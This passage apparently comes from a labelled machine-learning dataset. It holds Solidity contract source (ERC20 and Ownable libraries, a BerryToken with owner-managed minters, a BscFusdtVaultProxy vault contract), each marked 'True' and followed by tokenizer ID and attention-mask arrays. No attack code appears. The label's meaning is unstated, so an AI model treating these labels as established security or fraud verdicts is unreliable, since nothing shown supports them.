* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) public returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue)
public
returns (bool)
{
_approve(
_msgSender(),
spender,
_allowances[_msgSender()][spender].add(addedValue)
);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue)
public
returns (bool)
{
_approve(
_msgSender(),
spender,
_allowances[_msgSender()][spender].sub(
subtractedValue,
"ERC20: decreased allowance below zero"
)
);
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(
address sender,
address recipient,
uint256 amount
) internal {
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(
amount,
"ERC20: transfer amount exceeds balance"
);
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(
amount,
"ERC20: burn amount exceeds balance"
);
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address /*from*/,
address /*to*/,
uint256 /*amount*/
) internal pure{}
}
// import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/access/Ownable.sol";
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(
newOwner != address(0),
"Ownable: new owner is the zero address"
);
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract BerryToken is ERC20, Ownable {
mapping(address => bool) public minters;
constructor(string memory _name, string memory _symbol) public ERC20(_name, _symbol) {
_mint(msg.sender, 1e26); // pre-mint: 1% of total supply = 1e8 ether
}
function mint(address _to, uint256 _amount) external {
require(minters[msg.sender], "!minter");
_mint(_to, _amount);
}
function addMinter(address _minter) external onlyOwner {
minters[_minter] = true;
}
function removeMinter(address _minter) external onlyOwner {
minters[_minter] = false;
}
} | True | [
101,
1013,
1008,
1008,
1008,
7864,
2005,
22616,
2012,
28855,
29378,
1012,
22834,
2006,
16798,
2475,
1011,
5840,
1011,
6021,
1008,
1013,
1013,
1008,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
1008,
1013,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1019,
1012,
1014,
1025,
1013,
1013,
12324,
1000,
16770,
1024,
1013,
1013,
21025,
2705,
12083,
1012,
4012,
1013,
2330,
4371,
27877,
2378,
1013,
2330,
4371,
27877,
2378,
1011,
8311,
1013,
1038,
4135,
2497,
1013,
3040,
1013,
8311,
1013,
19204,
1013,
9413,
2278,
11387,
1013,
9413,
2278,
11387,
1012,
14017,
1000,
1025,
3206,
6123,
1063,
3853,
1035,
5796,
5620,
10497,
2121,
1006,
1007,
4722,
3193,
5651,
1006,
4769,
3477,
3085,
1007,
1063,
2709,
5796,
2290,
1012,
4604,
2121,
1025,
1065,
3853,
1035,
5796,
2290,
2850,
2696,
1006,
1007,
4722,
3193,
5651,
1006,
27507,
3638,
1007,
1063,
2023,
1025,
1013,
1013,
4223,
2110,
14163,
2696,
8553,
5432,
2302,
11717,
24880,
16044,
1011,
2156,
16770,
1024,
1013,
1013,
21025,
2705,
12083,
1012,
4012,
1013,
28855,
14820,
1013,
5024,
3012,
1013,
3314,
1013,
25717,
2487,
2709,
5796,
2290,
1012,
2951,
1025,
1065,
1065,
3075,
3647,
18900,
2232,
1063,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
1996,
2804,
1997,
2048,
27121,
24028,
1010,
7065,
8743,
2075,
2006,
1008,
2058,
12314,
1012,
1008,
1008,
13637,
2000,
5024,
3012,
1005,
1055,
1036,
1009,
1036,
6872,
1012,
1008,
1008,
5918,
1024,
1008,
1008,
1011,
2804,
3685,
2058,
12314,
1012,
1008,
1013,
3853,
5587,
1006,
21318,
3372,
17788,
2575,
1037,
1010,
21318,
3372,
17788,
2575,
1038,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1063,
21318,
3372,
17788,
2575,
1039,
1027,
1037,
1009,
1038,
1025,
5478,
1006,
1039,
1028,
1027,
1037,
1010,
1000,
3647,
18900,
2232,
1024,
2804,
2058,
12314,
1000,
1007,
1025,
2709,
1039,
1025,
1065,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
1996,
4942,
6494,
7542,
1997,
2048,
27121,
24028,
1010,
7065,
8743,
2075,
2006,
1008,
2058,
12314,
1006,
2043,
1996,
2765,
2003,
4997,
1007,
1012,
1008,
1008,
13637,
2000,
5024,
3012,
1005,
1055,
1036,
1011,
1036,
6872,
1012,
1008,
1008,
5918,
1024,
1008,
1008,
1011,
4942,
6494,
7542,
3685,
2058,
12314,
1012,
1008,
1013,
3853,
4942,
1006,
21318,
3372,
17788,
2575,
1037,
1010,
21318,
3372,
17788,
2575,
1038,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1063,
2709,
4942,
1006,
1037,
1010,
1038,
1010,
1000,
3647,
18900,
2232,
1024,
4942,
6494,
7542,
2058,
12314,
1000,
1007,
1025,
1065,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
1996,
4942,
6494,
7542,
1997,
2048,
27121,
24028,
1010,
7065,
8743,
2075,
2007,
7661,
4471,
2006,
1008,
2058,
12314,
1006,
2043,
1996,
2765,
2003,
4997,
1007,
1012,
1008,
1008,
13637,
2000,
5024,
3012,
1005,
1055,
1036,
1011,
1036,
6872,
1012,
1008,
1008,
5918,
1024,
1008,
1008,
1011,
4942,
6494,
7542,
3685,
2058,
12314,
1012,
1008,
1013,
3853,
4942,
1006,
21318,
3372,
17788,
2575,
1037,
1010,
21318,
3372,
17788,
2575,
1038,
1010,
5164,
3638,
7561,
7834,
3736,
3351,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1063,
5478,
1006,
1038,
1026,
1027,
1037,
1010,
7561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1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
/**
*Submitted for verification at Etherscan.io on 2021-04-22
*/
// SPDX-License-Identifier: AGPL-3.0
pragma solidity 0.6.12;
pragma experimental ABIEncoderV2;
// Part: IVault
interface IVault {
function deposit() external;
function withdraw() external;
}
// Part: OpenZeppelin/[email protected]/Address
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// Part: OpenZeppelin/[email protected]/IERC20
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// Part: OpenZeppelin/[email protected]/SafeMath
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
// Part: OpenZeppelin/[email protected]/SafeERC20
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// File: BscFusdtVaultProxy.sol
contract BscFusdtVaultProxy {
using SafeERC20 for IERC20;
using Address for address;
IVault public constant vault =
IVault(address(0x7Da96a3891Add058AdA2E826306D812C638D87a7));
address public constant usdt =
address(0xdAC17F958D2ee523a2206206994597C13D831ec7);
address public constant fusdtDeposit =
address(0x533e3c0e6b48010873B947bddC4721b1bDFF9648);
address public strategist;
address public keeper;
address public governance;
address public pendingGovernance;
constructor(address _strategist, address _keeper) public {
governance = msg.sender;
strategist = _strategist;
keeper = _keeper;
IERC20(usdt).safeApprove(address(vault), type(uint256).max);
}
modifier onlyGov {
require(msg.sender == governance);
_;
}
modifier onlyGuardians {
require(
msg.sender == strategist ||
msg.sender == keeper ||
msg.sender == governance
);
_;
}
function name() external view returns (string memory) {
return "BscFusdtVaultProxy";
}
function deposit() external onlyGuardians {
if (balanceOfUsdt() > 0) {
vault.deposit();
}
}
function sendBack() external onlyGuardians {
vault.withdraw();
IERC20(usdt).safeTransfer(fusdtDeposit, balanceOfUsdt());
}
function setStrategist(address _strategist) external onlyGov {
strategist = _strategist;
}
function setKeeper(address _keeper) external onlyGov {
keeper = _keeper;
}
function acceptGovernor() external {
require(msg.sender == pendingGovernance);
governance = pendingGovernance;
pendingGovernance = address(0);
}
function setPendingGovernance(address _pendingGovernance) external onlyGov {
pendingGovernance = _pendingGovernance;
}
function balanceOfUsdt() public view returns (uint256) {
return IERC20(usdt).balanceOf(address(this));
}
} | True | [
101,
1013,
1008,
1008,
1008,
7864,
2005,
22616,
2012,
28855,
29378,
1012,
22834,
2006,
25682,
1011,
5840,
1011,
2570,
1008,
1013,
1013,
1013,
23772,
2595,
1011,
6105,
1011,
8909,
4765,
18095,
1024,
12943,
24759,
1011,
1017,
1012,
1014,
10975,
8490,
2863,
5024,
3012,
1014,
1012,
1020,
1012,
2260,
1025,
10975,
8490,
2863,
6388,
11113,
9013,
16044,
2099,
2615,
2475,
1025,
1013,
1013,
2112,
1024,
4921,
23505,
8278,
4921,
23505,
1063,
3853,
12816,
1006,
1007,
6327,
1025,
3853,
10632,
1006,
1007,
6327,
1025,
1065,
1013,
1013,
2112,
1024,
2330,
4371,
27877,
2378,
1013,
1031,
10373,
5123,
1033,
1013,
4769,
1013,
1008,
1008,
1008,
1030,
16475,
3074,
1997,
4972,
3141,
2000,
1996,
4769,
2828,
1008,
1013,
3075,
4769,
1063,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
2995,
2065,
1036,
4070,
1036,
2003,
1037,
3206,
1012,
1008,
1008,
1031,
2590,
1033,
1008,
1027,
1027,
1027,
1027,
1008,
2009,
2003,
25135,
2000,
7868,
2008,
2019,
4769,
2005,
2029,
2023,
3853,
5651,
1008,
6270,
2003,
2019,
27223,
1011,
3079,
4070,
1006,
1041,
10441,
1007,
1998,
2025,
1037,
3206,
1012,
1008,
1008,
2426,
2500,
1010,
1036,
2003,
8663,
6494,
6593,
1036,
2097,
2709,
6270,
2005,
1996,
2206,
1008,
4127,
1997,
11596,
1024,
1008,
1008,
1011,
2019,
27223,
1011,
3079,
4070,
1008,
1011,
1037,
3206,
1999,
2810,
1008,
1011,
2019,
4769,
2073,
1037,
3206,
2097,
2022,
2580,
1008,
1011,
2019,
4769,
2073,
1037,
3206,
2973,
1010,
2021,
2001,
3908,
1008,
1027,
1027,
1027,
1027,
1008,
1013,
3853,
2003,
8663,
6494,
6593,
1006,
4769,
4070,
1007,
4722,
3193,
5651,
1006,
22017,
2140,
1007,
1063,
1013,
1013,
2429,
2000,
1041,
11514,
1011,
8746,
2475,
1010,
1014,
2595,
2692,
2003,
1996,
3643,
2513,
2005,
2025,
1011,
2664,
2580,
6115,
1013,
1013,
1998,
1014,
2595,
2278,
2629,
2094,
18827,
16086,
15136,
2575,
2546,
2581,
21926,
2509,
2278,
2683,
22907,
2063,
2581,
18939,
2475,
16409,
2278,
19841,
2509,
2278,
2692,
2063,
29345,
2497,
26187,
2509,
3540,
2620,
19317,
2581,
2509,
2497,
2581,
29292,
4215,
17914,
19961,
2094,
27531,
2050,
22610,
2692,
2003,
2513,
1013,
1013,
2005,
6115,
2302,
3642,
1010,
1045,
1012,
1041,
1012,
1036,
17710,
16665,
2243,
17788,
2575,
1006,
1005,
1005,
1007,
1036,
27507,
16703,
3642,
14949,
2232,
1025,
27507,
16703,
4070,
14949,
2232,
1027,
1014,
2595,
2278,
2629,
2094,
18827,
16086,
15136,
2575,
2546,
2581,
21926,
2509,
2278,
2683,
22907,
2063,
2581,
18939,
2475,
16409,
2278,
19841,
2509,
2278,
2692,
2063,
29345,
2497,
26187,
2509,
3540,
2620,
19317,
2581,
2509,
2497,
2581,
29292,
4215,
17914,
19961,
2094,
27531,
2050,
22610,
2692,
1025,
1013,
1013,
14017,
10606,
2102,
1011,
4487,
19150,
1011,
2279,
1011,
2240,
2053,
1011,
23881,
1011,
3320,
3320,
1063,
3642,
14949,
2232,
1024,
1027,
4654,
13535,
10244,
14949,
2232,
1006,
4070,
1007,
1065,
2709,
1006,
3642,
14949,
2232,
999,
1027,
4070,
14949,
2232,
1004,
1004,
3642,
14949,
2232,
999,
1027,
1014,
2595,
2692,
1007,
1025,
1065,
1013,
1008,
1008,
1008,
1030,
16475,
6110,
2005,
5024,
3012,
1005,
1055,
1036,
4651,
1036,
1024,
10255,
1036,
3815,
1036,
11417,
2000,
1008,
1036,
7799,
1036,
1010,
2830,
2075,
2035,
2800,
3806,
1998,
7065,
8743,
2075,
2006,
10697,
1012,
1008,
1008,
16770,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
